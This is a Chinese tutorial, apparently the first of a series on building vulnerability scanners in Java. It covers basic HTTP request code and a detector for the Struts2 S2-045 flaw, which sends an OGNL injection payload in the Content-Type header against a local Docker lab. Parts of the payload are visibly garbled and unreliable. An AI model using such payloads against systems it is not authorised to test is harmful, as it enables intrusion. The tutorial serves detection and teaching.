今天是java編寫漏洞掃描工具系列一,在整個系列中我將以案例驅動方式進行,從基本的請求,到常規漏洞掃描,Burp插件,調用SQLmap api,整合burp+sqlmap(Web平臺),漏洞掃描平臺(漏洞平臺支持被動主動掃描,插件式集成支持python插件)。
我的開發環境爲: eclipse + jdk 1.8
在Web端下,基本上就是GET/POST請求,大部分漏洞的利用也是如此。將我們手工操作的流程-過程用代碼是模擬的過程就是編寫漏洞掃描工具.
漏洞掃描工具可以幫助我們減少重複性的手工操作,並且效率極大的提高。人工操作10分鐘,電腦零點幾秒就可以完成,在對目標非常多的情況下,掃描工具更是必不可缺。但是工具畢竟是工具,它不可能像人腦一樣的分析處理判斷事物,所以工具會有誤報和漏報的情況下。
當然還有一些漏洞甚至是工具無法完成的,比如邏輯漏洞,邏輯漏洞名 “邏輯” 意思就是說開發者思維上的漏洞, 從一個開發者沒有沒有想到的角度去出發,但是可以做到和正常角度出發達到同樣的目的,就是思考上的缺陷。這個智能的過程很明顯是工具無法完成,但是要知道從你打開一個鏈接到接收到響應顯示到頁面上,中間可能會發生n多個請求。更別說頻繁瀏覽網頁的情況下,所以我們仍然可以編寫一些針對性的掃描工具,來對請求進行篩選,得到我們最想看到的請求信息.
好了,作爲系列課程的第一部分,我們先從最基礎GET/POST請求說起!
先看下,使用java的API發出一個GET AND POST 請求
GET 請求 :
/**
* GET請求
*
* @param target 網址
* @return
*/
public static String sendGet(String target) {
StringBuilder responseBody = new StringBuilder(); // 請求的響應內容
BufferedReader reader;
try {
URL url = new URL(target); //java.net.URL類,解析URL
URLConnection openConnection = url.openConnection(); // 打開連接,返回URLConnection實例
// 獲得服務端響應輸入流,並將請求內容逐行追加到responseBody
reader = new BufferedReader(new InputStreamReader(openConnection.getInputStream()));
String line = null;
while ((line = reader.readLine()) != null) {
// System.out.println(line); // 逐行打印請求
responseBody.append(line +"\r\n");
}
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return responseBody.toString();
}
POST 請求:
/**
* POST請求
* @param target 網址
* @param params 參數
* @return
*/
public static String sendPost(String target, String params) {
StringBuilder responseBody = new StringBuilder(); // 請求的響應內容
BufferedReader reader;
PrintWriter out; // 輸出流
try {
URL url = new URL(target);
URLConnection openConnection = url.openConnection();
openConnection.setDoInput(true); // 默認爲true,可以使用openConnection.getInputStream() 取得響應
openConnection.setDoOutput(true); // 默認爲false, 設置爲true後可以使用openConnection.getOutputStream() 進行寫入數據
out = new PrintWriter(openConnection.getOutputStream());
out.print(params);
out.flush();
reader = new BufferedReader(new InputStreamReader(openConnection.getInputStream()));
String line = null;
while ((line = reader.readLine()) != null) {
// System.out.println(line); // 逐行打印請求
responseBody.append(line +"\r\n");
}
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return responseBody.toString();
}
執行測試:
@Test
void testRequest() {
System.out.println("GET請求:");
String getTarget = "https://www.baidu.com/";
String getResponseBody = Req.sendGet(getTarget);
System.out.println(getResponseBody);
System.out.println("POST請求:");
String postTarget = "http://127.0.0.1:9999/user/checkLogin.do";
String params = "account=admin&password=admin";
String postResponseBody = Req.sendPost(postTarget, params);
System.out.println(postResponseBody);
}
有了以上的概念和認識後,我們實際編寫一個案例,開發一個檢測Struts2-045命令執行的檢測工具,因爲是st2-045漏洞是因爲使用Jakarta上傳文件對Content-Type判斷和處理不檔引起的,所以漏洞利用的poc是要作用在請求頭中的Centent-Type才能生效的。所以我們需要在小小的修改一下post請求.
/**
* Post請求
* @param target 網址
* @param params 參數
* @param headers 請求頭
* @return
*/
public static String sendPost(String target, String params, Map<String, String> headers) {
StringBuilder responseBody = new StringBuilder(); // 請求的響應內容
BufferedReader reader;
PrintWriter out; // 輸出流
try {
URL url = new URL(target);
URLConnection openConnection = url.openConnection();
// 設置請求頭
for (Map.Entry<String, String> entry : headers.entrySet()) {
openConnection.setRequestProperty(entry.getKey(), entry.getValue());
}
openConnection.setDoInput(true); // 默認爲true,可以使用openConnection.getInputStream() 取得響應
openConnection.setDoOutput(true); // 默認爲false, 設置爲true後可以使用openConnection.getOutputStream() 進行寫入數據
out = new PrintWriter(openConnection.getOutputStream());
out.print(params);
out.flush();
reader = new BufferedReader(new InputStreamReader(openConnection.getInputStream()));
String line = null;
while ((line = reader.readLine()) != null) {
// System.out.println(line); // 逐行打印請求
responseBody.append(line + "\r\n");
}
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return responseBody.toString();
}
測試用例:
我們的payload使用ognl向頁面打印(println)了一個 “exist045”,所以當 “exist045”存在於響應中的情況下,基本上可以判判斷存在漏洞!
@Test
void str045() {
String target = "http://demo.com/index.action";
String payload = "%{(#nikenb='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm))))."
+ "(#[email protected]@getResponse().getWriter()).(#o.println('exist045')).(#o.close())}";
Map<String, String> headers = new HashMap<>();
headers.put("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36");
headers.put("Content-Type", payload);
String postResponseBody = Req.sendPost(target, "",headers);
if (postResponseBody.contains("exist045")) {
System.out.println("[*] exist st2-045: "+target);
}
}
後節:
測試用例都是本地搭建的環境的,並非隨意攻擊,所以也需注意,本次使用的環境是使用docker的str2漏洞鏡像。爲了方便大家測試,現在來說一下如果構建測試用例。
我使用的環境是centos-7 + docker 1.8
在這裏我推薦大家學習和使用linux和docker,使用docker的優點就在於快速部署,如果正常要搭建一個struts2漏洞的測試環境,我們需要安裝jdk,tomcat,下載存在漏洞版本的struts2。經過一步步的繁雜操作後,才能運行起來環境,而使用docker的情況下,搭建環境只要docker pull xxx鏡像即可,拉取回來。運行也是一句命令的事情,不會出現因爲環境或者其他原因發生各種意外的情況浪費大量時間去解決這些問題。
如何安裝docker請參考:
本次使用的用例是在hub.docker找到的一個鏡像:
https://hub.docker.com/r/piesecurity/apache-struts2-cve-2017-5638/
複製命令到安裝有docker的機器上執行即可.
pull 拉取鏡像:
[root@host ~]# docker pull piesecurity/apache-struts2-cve-2017-5638
查看所有的docker鏡像:
docker images
運行docker鏡像:
- -d 指定容器運行與前臺還是後臺,默認爲false
- -p 映射端口8080
- (e1440048c3f7 爲 IMAGE ID)
docker run -d -p 8080:8080 --name st2vuln e1440048c3f7
運行之後查看當前所有運行着的鏡像:
docker ps
現在就可以通過ip:8080訪問這個鏡像了!
本章節並不過多敘述docker的使用,這基礎入門章節完結,喜歡的朋友可以關注一下,定期更新系列。